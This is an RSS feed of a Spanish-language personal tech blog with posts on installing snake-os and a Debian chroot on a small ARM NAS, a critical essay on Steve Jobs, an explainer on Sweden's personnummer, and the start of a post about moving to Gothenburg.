<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Luciano&#039;s webpage &#187; geek</title>
	<atom:link href="http://www.lucianobello.com.ar/category/geek/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lucianobello.com.ar</link>
	<description>Luciano Bello - My personal webpage</description>
	<lastBuildDate>Thu, 19 Jan 2012 14:37:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Corriendo Debian en un server fanless</title>
		<link>http://www.lucianobello.com.ar/post/debian_in_afanless_server/</link>
		<comments>http://www.lucianobello.com.ar/post/debian_in_afanless_server/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 23:04:03 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[depression]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1955</guid>
		<description><![CDATA[Debido a una reciente mudanza, he bajado unos servers que tenía corriendo en casa de mis padres. Sin embargo, en mi nuevo hogar estoy en proceso de generar una nueva DMZ, esta vez, sin ventiladores. El primer paso de este proceso ocurrió en forma de weekend project y consiste en hacerme de un &#8220;servidor&#8221;. Las [...]]]></description>
			<content:encoded><![CDATA[<p>Debido a <a href="http://www.lucianobello.com.ar/post/avancez_en/">una reciente mudanza</a>, he bajado unos servers que tenía corriendo en casa de mis padres. Sin embargo, en mi nuevo hogar estoy en proceso de generar una nueva DMZ, esta vez, sin ventiladores.</p>
<p>El primer paso de este proceso ocurrió en forma de <em>weekend project</em> y consiste en hacerme de un &#8220;servidor&#8221;. Las comillas hacen referencia a que no se trata de un gran server sino un procesador ARM de 200Mhz y 32MB de RAM, lo que es suficiente para que corra Debian y algunos otros servicios que pueden ser interesantes.</p>
<h1>Los ingredientes</h1>
<ul>
<li>Un <em>all-in-one LAN server</em> que es la forma en que <a href="https://www.dealextreme.com/">DealExtreme</a> llama a unos dispositivos con chips de la familia str8132. Dado que vamos a instalar <a href="https://code.google.com/p/snake-os/">snake-os</a> en ellos (en este caso se trata de la versión 1.3.2-20111019), es importante chequear <a href="https://code.google.com/p/snake-os/wiki/SnakeOS_compatible_hardwares">la lista de compatibilidad</a>. En particular me hice de un <a href="https://www.dealextreme.com/p/standalone-bittorrent-bt-client-usb-nas-ftp-samba-printer-upnp-sharing-network-lan-server-26320">NS-K330</a> por 40 dólares.<br />
<img src="https://img.dxcdn.com/productimages/sku_26320_2_small.jpg" alt="" /></li>
<li>Storage USB, puede ser en la forma de <a href="https://es.wikipedia.org/wiki/Memoria_USB">stick</a> o como disco portable.</li>
<li>Un <em>RS232 to TTL level converter</em>, también conocido como <em><a href="https://www.dealextreme.com/p/usb-cable-for-nokia-n1200-1208-1650-2630-2670-13638">cable para Nokia N1200/1208/1650/2630/2670</a></em>. Es para conectarse por serie a la consola. No lo necesitamos ahora mismo, pero está bueno tenerlo a mano en caso de <a href="https://en.wikipedia.org/wiki/Brick_%28electronics%29"><em>brickearlo</em></a>, aunque es un procedimiento que no explicaré esta vez.</li>
</ul>
<h1>Instalación de Snake-OS</h1>
<p>Es realmente sencillo. Lo primero es bajar snake-os, desde <a href="https://code.google.com/p/snake-os/downloads/">la sección de <em>downloads</em> de la web</a>. Es importante que el archivo sea de la forma snakeos-&lt;versión&gt;-<strong>from-original</strong>.zip Instalar el que dice from-snake lleva definitivamente al brickearlo y <a href="https://code.google.com/p/snake-os/wiki/SerialConnectionHowToNSK330">recuperarlo puede ser complejo</a>.<br />
Desde la página de administración del dispositivo hay que subir el archivo snakeos-&lt;versión&gt;-from-original.bin contenido en el zip bajado. Confirmar el md5sum no está de más.</p>
<h1>Acceso inicial</h1>
<p>Los datos para acceder a la nueva interfaz con el browser:</p>
<blockquote><p>http://192.168.0.240 (si es que no hay un DHCP en la red)<br />
usuario: admin<br />
contraseña: snake</p></blockquote>
<p>Por SSH la contraseña de root la misma y, al cambiarla por la página de administración, se cambia en todos los accesos.</p>
<h1>Post instalación</h1>
<p>Incluso cuando <a href="https://www.facebook.com/maxiberta">Max</a> opine que el uso de memoria virtual está rumbo a la extinción (lo cierto es que tal vez no es la mejor idea cuando el <a href="https://es.wikipedia.org/wiki/Unidad_de_estado_s%C3%B3lido">storage es de estado sólido</a> como en los pendrives), activé el uso de SWAP desde el menú <em>Service-Swapfile</em>.</p>
<p>Si se quieren las mismas prestaciones que se tenían con el firmware original, hay que instalar unos paquetes adicionales. El sistema de paquetes que utiliza snake-os es <a href="https://en.wikipedia.org/wiki/Opkg">opkg</a> y tiene que ser primero activado desde <em>Service-Opkg</em>. Los paquetes pueden bajarse desde <a href="https://code.google.com/p/snake-os/downloads/list">la página de download de snake-os</a> y se instalan desde <em>System-Packages</em>. En particular, pueden ser interesantes (siempre pensando en los features originales):<br />
<strong><a href="http://www.transmissionbt.com/">Transmission</a></strong>: Es un cliente de BitTorrent, para dejar tus descargas corriendo. Es bastante mejor que el original.<br />
<strong><a href="http://sourceforge.net/projects/minidlna/">miniDLNA</a></strong>: Es el server de streaming compatible con DLNA/UPnP-AV. Está un poco verde, pero <a href="https://code.google.com/p/snake-os/wiki/MiniDLNA">se está trabajando en su mejora</a>.</p>
<h1>Corriendo Debian dentro</h1>
<p>Las instrucciones están <a href="https://code.google.com/p/snake-os/wiki/Debian_Chroot">acá</a>. Aunque esto es lo más obvio y necesario:</p>
<blockquote><p>wget http://snake-os.googlecode.com/files/debian_chroot.tgz<br />
tar -xvf debian_chroot.tgz<br />
mount -o bind /proc /usb/sda1/debian/proc<br />
mount -o bind /dev /usb/sda1/debian/dev<br />
chroot /usb/sda1/debian/
</p></blockquote>
<p>Esta instalación base requiere unos 200MB. Tiene todo el potencial de un Debian (¡porque lo es!).<br />
Claro que falta ajustar varios detalles, pero será la piedra inicial para el resto.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debian_in_afanless_server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>YAPAJ: Just another post about Jobs</title>
		<link>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/</link>
		<comments>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 21:02:51 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[activism]]></category>
		<category><![CDATA[dark side]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1842</guid>
		<description><![CDATA[Tengo noticias: Se murió Steve Jobs. ¿Qué? ¿Ya lo sabías? No me extraña, si hoy estuviste conectado aunque sea accidentalmente a Internet, no tuviste forma de esquivar esta novedad. A mí el final del día también me encuentra en esta situación de hastío y me sorprende que aún no hayas dejado de leer dado que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.dosisdiarias.com/2011/10/2011-10-06.html"><img align=right src="http://2.bp.blogspot.com/-eXJMWMwpU9g/To0Tsd-1UoI/AAAAAAAAESg/AHcP-zLGgH8/s400/Steve.jpg"/></a>Tengo noticias: Se murió <a href="http://www.apple.com/stevejobs/">Steve Jobs</a>.</p>
<p>¿Qué? ¿Ya lo sabías? No me extraña, si hoy estuviste conectado aunque sea accidentalmente a Internet, no tuviste forma de esquivar esta novedad. A mí el final del día también me encuentra en esta situación de hastío y me sorprende que aún no hayas dejado de leer dado que este es  <em>simplemente-otro-post-acerca-del-fallecimiento-de-Steve-Jobs</em>. Es claro que el evento fue difícil de ignorar, aunque no estoy seguro de que esto hable bien o mal del finado. Y a hablar bien <strong>y</strong> mal es a lo que dedicaré las siguientes líneas.</p>
<p>Seguramente, como yo, leíste todo el día comentarios a favor y en contra. En general, mucha gente en los extremos. Me parece que en estos momentos es importante el <em>zoom out</em>, porque en los bordes es difícil reflexionar.</p>
<p><strong>Los hechos</strong>: Steven Paul Jobs, en adelante SJ, fue el cofundador de Apple, una de las empresas de tecnología más importantes de la actualidad. A los 26 años, cuando Apple salió al mercado de valores, SJ ya era millonario y <a href="http://www.spd.org/2011/10/the-10-greatest-steve-jobs-mag.php">tapa del Times</a>. ¿La razón? <a href="http://es.wikipedia.org/wiki/Apple_II">La Apple II</a>, una computadora que no ocupaba una habitación entera para hacer cosas útiles, había iniciado la industria de la informática tal como la conocemos hoy. Y eso fue solo el comienzo.</p>
<p><strong>No tan malo</strong>: Ésta es la parte que considero fácil. Posiblemente las buenas características de SJ son también las más obvias y ya la leíste por ahí, así que haré énfasis en lo que yo considero clave para entender la muerte de SJ como una pérdida.</p>
<p>El <a href="http://en.wikipedia.org/wiki/Macintosh_128K">Macintosh 128K</a>, lanzado en 1982, ya usaba lo que se conoce como <a href="http://es.wikipedia.org/wiki/Met%C3%A1fora_de_escritorio">la metáfora del escritorio</a>. Es decir una interfaz gráfica de usuario intuitiva que simulaba las características de un escritorio, como carpetas, archivos y papeleras donde tirar las cosas que ya no queremos. ¿Te suena? Hoy es una cosa dada por obvia. Si bien <a href="http://www.csdl.tamu.edu/~l0f0954/academic/cpsc610/hw2-3.htm">el concepto es anterior</a>, Apple fue el primero que lo comercializó con éxito. Esto se debe en parte a que incluyo un dispositivo llamado <em>mouse</em> (o ratón, si sos ibérico). También te suena, no? Aunque tal vez estoy siendo sobrestimado lo técnico. Después de todo, seguramente la raíz del éxito se deba a que SJ se encargó del marketing y la publicidad. Eran tiempos en donde la computación era cosa, ya no nerds o geeks, sino casi de científicos. Tal vez por esto, lo <a href="http://es.wikipedia.org/wiki/Terminal_de_computador">intrincado y feo</a> estaba a la orden del día. Posiblemente el mayor mérito de SJ sea el haber traído belleza y diseño a ese mundo, así como usabilidad y funcionabilidad. Desde el diseño minimalista del packaging aquel Apple II, hasta los conectores de voltaje magnéticos de las actuales MacBook (llamados <a href="http://en.wikipedia.org/wiki/MagSafe">MagSafe</a>). Todo parece estar perfectamente pensado para su uso.</p>
<p>La familia de sistemas Mac OS inspiró las hermosas interfaces en programas como <a href="http://http://en.wikipedia.org/wiki/IOS">iOS</a> (el sistema que corren los iPhone). <a href="http://www.nytimes.com/interactive/2011/08/24/technology/steve-jobs-patents.html">Su lista de patentes</a> (la gran mayoría referida a diseños más que a elementos técnicos), dan una idea aproximada del impacto de sus creaciones en nuestra realidad.</p>
<p>Todo esto, combinado con un extraordinario carisma, <a href="http://www.youtube.com/watch?v=6zlHAiddNUY">una gran capacidad de oratoria</a> y un managment que, para lo entendidos, es modelo, hacen que hoy mucha gente esté triste por su fallecimiento.</p>
<p><strong>No tan bueno</strong>: Acá es donde intento hacer contrapeso a la <a href="https://twitter.com/#!/briascoi/status/121877597549367298">postura de idolatría</a> que se repitió demasiado hoy. Supongo que es políticamente incorrecto embestir contra un finado. Y es que una vez muerto, todos hablan de tus logros y no tus pifies. Incluso cuando estos fueron del tamaño de un elefante embarazado.</p>
<p>En primer lugar, el mérito inicial del desarrollo técnico de la Apple II (así como de la I) es de <a href="http://es.wikipedia.org/wiki/Steve_Wozniak">Steve Wozniak</a>, a quien no tengo problemas en referirme como genio (por razones que quedarán para otra circunstancia, o para cuando se muera :P). A SJ siempre le importó <a href="http://www.cyberhades.com/2010/10/21/microhistorias-%C2%BFa-quien-le-importa-la-estetica-de-una-placa-base-pues-a-steve-jobs/">más lo estético que lo técnico</a>. Como ingeniero esto me rompe un poco, pero no es su peor faceta.</p>
<p>SJ, como CEO de Apple, fue el principal responsable de que sus productos se cuenten entre las cosas más restrictivas que existen en la faz de la tierra. Y quiero dejar afuera el hecho de que el software involucrado en sus dispositivos no sean libre. Me refiero a componentes explícitamente hechos y diseñados para limitar las libertades de los usuarios. Empecemos por donde hay que empezar:</p>
<p>En un principio, era posible hacer <a href="http://www.apple2clones.com/"><em>clones</em> de los primeros modelos de Apple II</a>. Esta posibilidad era técnica, pero cuando los clones empezaron a ser mejores y más baratos que los producidos por la ya-no-tan-inminente compañía, SJ empezó a perseguir legalmente a sus creadores. El resultado de este trauma infantil puede verse hoy cuando, a diferencia de sus primos PC, no es posible comprar componentes estándares de cualquier fabricante para dispositivos Apple.</p>
<p>Apple fue de las primeras empresas en implementar <a href="http://es.wikipedia.org/wiki/Gesti%C3%B3n_de_derechos_digitales">DRM</a> en sus dispositivos. Esto es, tecnologías con la cuales se puede limitar, por ejemplo, la copia de cierto software o canciones en pro de los &#8220;derechos de autor&#8221;. Podés aprender más acerca de como el DRM limita tu vida <a href="http://www.defectivebydesign.org/">aquí</a>.</p>
<p>La interoperabilidad es otra pata de la misma política. Los dispositivos iPod, iPhone, iPod Touch y iPad son muy difíciles de gestionar sin iTunes, del cual no existe una versión libre ya que los protocolos que los dispositivos usan son privativos y fueras de todo estándar. Por otro lado, el iTunes original es en sí mismo <a href="http://www.macnn.com/articles/10/07/19/reveals.details.of.how.gps.data.is.used/">un pisoteo a la privacidad de los usuarios</a> porque es monitoriable. Hay un excelente capítulo de The Simpsons que se burla de esta situación (ver <a href="http://www.youtube.com/watch?v=7L2fsubA2-c">1</a>, <a href="http://www.youtube.com/watch?v=poREl_EVWXI">2</a> y <a href="http://www.youtube.com/watch?v=WL2l_Q1AR_Q">3</a>).</p>
<p>Esto tipo de cosas convierte a SJ y a Apple en una especie de club en donde la entrada es el sobrevalorado precio de un artículo que lejos está de beneficiar a la sociedad. Lejos de ser un aporte a la humanidad los productos se transforman en obstáculos dentro de la creación colectiva del conocimiento. Guerras de patentes y demandas cruzadas generan miedo a la innovación. Lo que debería ayudar al desarrollo de la sociedad se transforma en lastre. SJ fue uno de los principales promotores de la privatización del conocimiento y de la idea que compartir está mal.</p>
<p><strong>En conclusión</strong>: Es importante mantener la perspectiva No estoy seguro de calificar a SJ como un genio. Sin duda modificó la realidad en la que vivimos hoy y es claro que merece reconocimiento. Pero también es claro que pudo haber hecho las cosas distintas para que más personas se beneficien de su capacidad de ver más allá. Ahora tendremos que esperar 70 años (lo que en términos tecnológicos significa <em>nunca</em>) para que algunas de sus creaciones pasen al dominio público. Tal vez un concepto de libertad más completo no hubiese permitido que hoy Apple sea <a href="http://www.elpais.com/articulo/economia/Apple/supera/Exxon/empresa/valiosa/mundo/elpepueco/20110809elpepueco_10/Tes">la empresa con mayor capitalización bursátil del mundo</a>. Pero yo esperaría este tipo prioridades en las personas que llamo <em>admirables</em>. ¿qué sus creaciones son bonitas y funcionales? No lo dudo. Pero mucho menos se a dicho de la música que producía <a href="http://personales.mundivia.es/llera/cuentos/hamelin.htm">el flautista de Hamelín</a>. Al menos así lo veo yo.</p>
<p><strong>Lo que dejé afuera de discusión</strong>: Decidí dejar argumentos que creo que ensucian la reflexión. Estos son:</p>
<ul>
<li>Las denuncias sobre <a href="http://www.telegraph.co.uk/technology/apple/7330986/Apple-admits-using-child-labour.html">trabajo infantil</a> y <a href="http://www.huffingtonpost.com/amnesty-international/human-exploitation-fuels_b_243939.html">explotación de trabajadores</a> en fabricas chinas de la compañía. Creo que es algo que va más allá de SJ. Es producto de otros factores y afecta muchísimo al mercado de la tecnología en su conjunto. </li>
<li>Filantropía: Al retomar el control de Apple en 1997, SJ eliminó todos los programas de filantropía de la empresa. Hay muchas empresas que no hacen beneficencia y aún así son socialmente responsables. No creo que sea algo criticable, <em>per se</em>.</li>
<li>La dieta anti-cancer: <a href="http://tejedor1967.blogspot.com/2011/10/steve-jobs-victima-de-las.html">Se</a> <a href="http://scienceblogs.com/insolence/2008/03/woo_for_cancer_say_it_aint_so_steve.php">dice</a> que SJ retrasó su tratamiento contra el cáncer de páncreas (cuya variedad era curable) por intentar curarse con una dieta <em>anti-cancer</em>. Además de tener cuestionable fundamento, creo que es un tema que pertenece a su esfera privada.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Lessons Learned: El personnummer y la identitetskort</title>
		<link>http://www.lucianobello.com.ar/post/personnummer/</link>
		<comments>http://www.lucianobello.com.ar/post/personnummer/#comments</comments>
		<pubDate>Sat, 01 Oct 2011 19:44:09 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[Lessons learned...]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1760</guid>
		<description><![CDATA[personnumer, sustantivo: Número de identificación personal (aunque también podría traducirse, con cierta malicia, como número de persona). identitetskort, sustantivo. Literalmente, tarjeta de identidad. También llamada id-kort. Hace unas semanas me ocurrió la siguiente situación con un vendedor en un local de telefonía celular. - Hola, dado que voy a pasar un tiempo en la ciudad, [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>personnumer</strong>, sustantivo: Número de identificación personal (aunque también podría traducirse, con cierta malicia, como <em>número de persona</em>).
</p></blockquote>
<blockquote><p><strong>identitetskort</strong>, sustantivo. Literalmente, tarjeta de identidad. También llamada <em>id-kort</em>.
</p></blockquote>
<p>Hace unas semanas me ocurrió la siguiente situación con un vendedor en un local de telefonía celular.<br />
- Hola, dado que voy a pasar un tiempo en la ciudad, me gustaría tener un número móvil con contrato.<br />
- Excelente, contamos con muchos planes. ¿Tenés tu personnummer?<br />
- Aún no, posiblemente esté al llegar, empecé el tramite hace un par de semanas. De todas forma, quisiera ir averiguando los precios.<br />
- Mm&#8230; sin personnummer es poco lo que puedo hacer.<br />
- Bueno, podés ir dándome los precios.<br />
- Claro, para personas sin personnummer tenemos este astronómicamente-caro servicio con tarjeta prepago.<br />
- Emm.. pero a mí me gustaría un contrato.<br />
- Pero no tienes personnummer.<br />
- Mm&#8230; tal vez sea que mi inglés no es muy bueno, tendré mi personnummer en unos días&#8230;<br />
- Volvé en unos días y estaremos encantados de ayudarte&#8230;</p>
<p>El <strong>personnummer</strong> es un número que identifica a las personas en estas tierras. Los locales, lo obtienen al nacer. Y los residentes debemos tramitarlo al entrar al país. Incluso <a href="http://www.spouses.nu/lankar_och_dokument/dokument/MovingToSweden.html#skattemyndigheten">este sitio</a> recomienda iniciar el trámite antes de desempacar. Es que el número en cuestión se necesita para absolutamente cualquier cosa, desde para abrir una cuenta de banco hasta sacar un libro de la biblioteca o rentar una bici por más de 3 días.</p>
<p>Algunos locales usan la expresión <em>¿ya estás en el sistema?</em> cuando se enteran que hace poco llegaste. Uno virtualmente no existe sin su personnummer. Tenerlo significa que estás <em>folkbokförd</em> (literalmente, <em>registrado en el libro de las personas</em>) y sos parte armoniosa de la <em><a href="http://es.wikipedia.org/wiki/Sueco_%28etnia%29">svenskar</a></em>. Permite, entre otras cosas:</p>
<ul>
<li>Sacar una cuenta en un banco.</li>
<li>Tener servicios (como el de telefonía celular) a tu nombre.</li>
<li>Casarse.</li>
<li>Acceder a seguridad social (jubilación y subsidios) y servicios médicos.</li>
<li>Votar a los representantes de tu comuna/barrio (o municipio, no entendí bien&#8230;).</li>
</ul>
<p>La oficina de impuestos (la <a href="http://http://www.skatteverket.se">Skatteverket</a>) es la encargada del registro de personas (<em>folkbokföringsregister</em>). Y se lo toman enserio. Historial de direcciones postales en Suecia y en el exterior así como actual y pasados estados civiles, hijos y personas a cargo,  propiedades, salario, y hasta el lugar en donde te entierren (sic). Todo queda registrado y es accesible por organismos como bancos y aseguradoras. Si te mudás, tenés que avisar a la <em>Skatteverket</em> y tus servicios llegarán a tu nueva dirección. Así, out-of-the-box.</p>
<p>Aunque en internet <a href="http://www.f4.htw-berlin.de/~weberwu/writings/HOLY.htm">hay</a> <a href="http://www.thelocal.se/discuss/index.php?showtopic=37996">varias</a> <a href="http://www.thelocal.se/discuss/index.php?showtopic=36488">historias</a> acerca de complicaciones relacionadas con el personnummer, hacerse de este número a mí me resultó relativamente fácil. Vas a <a href="http://www.skatteverket.se/omskatteverket/kontaktaoss/adresserlokalkontor/ort.4.44571d110de4139990800072.html">la oficina de  Skatteverket más cercana</a> con tu pasaporte y tu <em>uppehållstillstånd</em> (permiso de residencia). Cuatros semanas después (plazo que puede variar según la época del año) recibirás en tu domicilio la <em>perssonbevis</em> (certificado de persona) con el número en cuestión. Siempre y cuando no haya <a href="http://www.lucianobello.com.ar/post/lessons-learned-el-lagenhetsnummer/">problemas con dirección postal</a>.</p>
<p>La <a href="http://prado.consilium.europa.eu/en/4556/viewImage_120716.html"><strong>identitetskort</strong></a> es al personnummer lo que la cédula es al número de documento. También llamada ID-kort es una tarjeta que contiene alguna información biométrica como la firma y la foto. A diferencia del personnummer, que es gratuito, tiene un costo de 400 coronas suecas (unos <a href="http://www.google.com/search?q=400+sek+to+ars">250 pesos argentos</a>) y es, en principio, opcional. Se ve así:<br />
<img src="http://www.lucianobello.com.ar/blog/identitetskort.jpg" alt="" /><br />
Digo <em>en principio</em>, porque en la práctica es bastante distinto. Por un lado, para muchos trámites reemplaza al pasaporte como identificación. Por otro, el letrero <em><a href="http://blog.sweetsweden.com/otros/visa-leg-tack/">Visa leg, tack!</a></em>(que significa, <em>gracias por presentar su identificación</em>, otro día hablaremos sobre lo indirecto de las peticiones en esta cultura) es moneda corriente. Al usar la tarjeta de crédito, comprobar tu personnummer o contratar servicios, la ID-kort es tu identificación y sería realmente complicado no contar con ella. Solía pensar que mi uppehållstillstånd tarjeta de residente, que se ve a continuación) podía cumplir ese objetivo, pero no resulta ser así, por lo que también tuve que tramitar esta credencial.<br />
<img src="http://www.lucianobello.com.ar/blog/uppehallstillstand.png" alt="" /><br />
<strong>El personnummer en sí mismo.</strong> El número personal como tal es una cosa bastante simpática. Se empezó a utilizar en 1947, año en el que a todos los habitantes se le asignó uno. Son 10 dígitos con el siguiente formato:<br />
<em>YYMMDD-CCEV</em>,<br />
donde, <em>YYMMDD</em> es el año, mes y día de nacimiento. El dígito <em>V</em> es un <a href="http://en.wikipedia.org/wiki/Personal_identity_number_%28Sweden%29#Example_checksum">dígito verificador</a>, introducido en 1967. La parte <em>CCE</em> es arbitraria, aunque el dígito <em>E</em> contiene la información de género (impar para varones, par para mujeres). Hasta 1990 los dígitos <em>CC</em> codificaban la provincia (<em>län</em>, en sueco) en la que la persona había nacido. Como el rango del 93 al 99 estaba designado para los inmigrantes, el sistema fue criticado porque podía causar discriminación (otro día hablaremos del valor de la equidad en la cultura nórdica) y la codificación se dejó de utilizar en 1990. Además, y esto es mi opinión, la codificación provincial debió haber limitado muchísimo los rangos disponibles, por lo que posiblemente esta fuera otra razón para evitarla. Otro problema que se evidencia rápidamente al ojo friki es esta suerte de <a href="http://es.wikipedia.org/wiki/Problema_del_a%C3%B1o_2000">Y2K bug</a> al haber dejado solo dos dígitos para el año, sobretodo con la esperanza de vida en alza. La primera persona que padeció este <em>bug</em> fue una tal <em>Beata Brolin f. Johansdotter</em> quién murió en 1948 con 106 años. Cuando un año antes de su fatídico día le asignaron su número personal, resultó que doña Beata tenía un personnummer de un menor de edad, por lo que no podía comprar puchos o alcohol (ni ganas tendría a su edad). La solución (vamos, el hack) que encontraron en ese momento fue reemplazar el <em>guión</em> por un signo <em>más</em> (+). Así, el procedimiento oficial indica que, al cumplir 100 años, uno debería cambiar su personnummer reemplazando el <em>-</em> por el <em>+</em>. Dado lo atado que una persona vive a este número, cambiarlo no debe ser un tramite sencillo. Una razón más para morir joven. O para no cambiarse de sexo, lo que también requiere cambio de personnummer.</p>
<p>Muchas entidades ahora están utilizando el personnummer en un formato de 12 dígitos, al agregar el año completo. Posiblemente esta sea una buena solución, aunque rompe un poco el algoritmo para el dígito verificador y aún no es una práctica oficial.</p>
<p>El problema de la escasez de números también es real. Hay que tener en cuenta que reusar números puede significar que te toque pagar una deuda ajena. <a href="http://sv.wikipedia.org/wiki/Personnummer_i_Sverige#.C3.85teranv.C3.A4ndning">Se sabe que hay unos 16 mil número reusados</a>, es decir, 16 mil pares de zapatos en los que espero nunca estar por lo complicado que deben de ser sus vidas burocráticas. Una de las razones por la que esto ocurre es que los nacimientos no tiene una distribución uniforme. En <a href="http://www.dn.se/debatt/personnumren-tar-snart-slut-och-maste-darfor-ersattas">Febrero de 2007 se percibió una fuerte escasez de números</a> para el 1º de Enero y Julio correspondiente a los fines de 1950 y principios de 1960. ¿La razón? En algunos países, cuando se registra a un mayor del que no se conoce la fecha de nacimiento exacta, se les asigna como nacimiento el 1º de Enero o Junio (dependiendo de la fecha estimada). En 1995 Suecia entró en la Unión Europea y grandes cantidades de inmigrantes de mediana edad vinieron a estas tierras en busca de mejores oportunidades laborales. Y estas personas también tuvieron su personnummer.</p>
<p>Un surrealista <a href="http://www.springerlink.com/content/982r7181413l027p/">paper académico</a> (altamente recomendable para lectura de fin de semana) da cuenta de que, en Diciembre de 2007, la fecha más popular de nacimiento entre los varones era el 1º de Julio de 1957 (con 405 personas), mientras que para las mujeres era el 1º de Enero de 1966 (con 341 personas).</p>
<p><small>Otras lecciones aprendidas en Suecia, <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">aquí</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/personnummer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>nos volveremos a ver</title>
		<link>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/</link>
		<comments>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 22:18:55 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1685</guid>
		<description><![CDATA[Un día como hoy, pero de la semana pasada me estaba subiendo a un avión con, por primera vez en mi vida, un ticket one-way. El destino: Gotemburgo (o Göteburg, como le dicen los locales). Pasó hace solo una semana y, sin embargo, siento que fue hace meses. Muchísimas cosas pasaron. Muchísima gente conocí. Muchísimas [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://picasaweb.google.com/lh/photo/iaFUS2OLDCwFl6aS6kzWggyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img align=right src="https://lh4.googleusercontent.com/-NLYGZH3cwV4/TlPIGcN_kdI/AAAAAAAADK0/7A0O30ryDug/s144/2011-08-16T00%25253A49%25253A31.JPG" height="144" width="108" /></a>Un día como hoy, pero de la semana pasada me estaba subiendo a un avión con, por primera vez en mi vida, un ticket one-way. El destino: Gotemburgo (o Göteburg, como le dicen los locales). Pasó hace solo una semana y, sin embargo, siento que fue hace meses. Muchísimas cosas pasaron. Muchísima gente conocí. Muchísimas cosas aprendí. ¡Y espero con entusiasmo las que aún quedan por pasar, conocer y aprender!</p>
<p>Como me resulta complicado ordenar mis ideas en prosa, voy a por secciones:</p>
<h1>La universidad</h1>
<p><a href="https://picasaweb.google.com/lh/photo/u1rkFBFYbHTVJvkdtI6j0gyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img align=left src="https://lh5.googleusercontent.com/-y6ikF1Sw_Nc/TlPM28nCa2I/AAAAAAAADLM/stqY7WRFWP0/s144/2011-08-19T08%25253A20%25253A06.JPG" height="108" width="144" /></a> El lugar donde en el que voy a trabajar y estudiar durante los próximos años es el departamento de <a href="http://www.chalmers.se/cse/EN/">Data- och informationsteknik</a> (o <em>Computación Científica e Ingeniería</em>, en criollo), en Chalmers. Físicamente queda ubicado en <a href="http://www.chalmers.se/GIF/cth_karta-eng.gif">el edificio EDIT, en la sede Johanneberg</a>. Allí ya <a href="https://picasaweb.google.com/lh/photo/bWJ85Qr3T6V3b2r29uyiIwyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite">tengo una oficina asignada</a> y parece estar <a href="http://www.chalmers.se/cse/EN/cpsdirectory_entry_view?dirname=ldap_people&#038;id=uid=bello,ou=people,dc=chalmers,dc=se">todo preparado</a> para que empiece el 1º de Septiembre, según lo planeado. El 20% del tiempo tengo que dedicarlo a la enseñanza, así que durante este término seré TA (<em>Teaching Assistant</em>, algo así como un <em>Ayudante de Trabajos Prácticos</em>) en la materia <a href="http://www.cse.chalmers.se/edu/year/2010/course/TDA351/">Cryptography</a>.</p>
<h1>Primera escapada</h1>
